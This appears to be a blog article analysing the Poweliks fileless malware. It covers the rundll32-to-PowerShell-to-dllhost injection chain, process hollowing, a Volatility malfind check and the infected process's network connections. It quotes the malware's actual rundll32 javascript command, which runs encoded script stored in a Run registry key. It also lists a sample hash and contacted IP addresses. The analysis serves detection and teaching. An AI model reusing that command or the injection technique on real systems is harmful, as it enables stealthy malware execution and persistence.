Fileless Malware Analysis

In this article, Fileless malware has been analyzed and explained in detail. Let’s start.

0:001> What is Fileless Malware?

A fileless malware is a malicious code that exists only in memory rather than installed to the target computer’s hard drive.
Fileless malware is written directly to RAM. The code is injected into some running process, which is then used for executing the malicious code. Fileless malware usually arrive by visiting a malicious website, which then may be redirected to after clicking the attacker’s ad (malvertisement). Because the malware doesn’t exist as a file, it can often evade intrusion prevention systems and antivirus programs.

0:002> Fileless malware sample details

Sample Name: Powerliks

MD5: 0181850239cd26b8fb8b72afb0e95eac

0:003> Powerliks Analysis

The malware on its execution, first calls rundll32.exe which then calls powershell.exe:

a

powershell.exe will then injects code into dllhost.exe and this dllhost.exe will run as an infected process:

b

As can be seen in the screenshot below, rundll32.exe attempts to load a module with the LdrLoadDll function. The module being loaded is actually javascript. Observe the activity of LdrGetProcedureAddress function call which is trying to locate the address for the RunHTMLApplication function:

c

The javascript will actually run the following code:

rundll32.exe javascript:”\..\mshtml,RunHTMLApplication “;document.write(“\74script language=jscript.encode>”+(new%20ActiveXObject(“WScript.Shell”)).RegRead(“HKCU\\software\\microsoft\\windows\\currentversion\\run\\”)+”\74/script>”).

There are some interesting API calls just before powershell.exe terminates. This image has been taken from (https://malwr.com/analysis/NGFlMjQwNGU1MWQ3NDIwY2I0MTU3MzZjNjE3Mj dlNzM):

d

e

These API calls are called as Process Hollowing. Malware authors frequently use techniques to hide code behind a legitimate process. These techniques, known as ‘code injection’, are used to perform actions from within the context of another process. By doing so, the malware can force a legitimate process to perform actions on its behalf, such as downloading additional trojans or stealing information from the system. Code injection is a smart way to trick users and process monitoring tools into believing that a legitimate program is running, whereas the actual program that is running is different.

Process hollowing is a code injection technique where a process is created in a suspended state and where the process memory is replaced with the code of second malicious program. After the process memory has been hollowed and replaced with malicious code, the process is resumed.

Code injection can also be seen using volatility’s malfind plugin:

f

Finding the network connections of infected dllhost.exe:

g

dllhost.exe connects to: 178.89.159.34 and 178.89.159.35.

This article was specific to the Poweliks malware but the techniques discussed will apply to other fileless malware.

Leave a Reply

Your email address will not be published. Required fields are marked *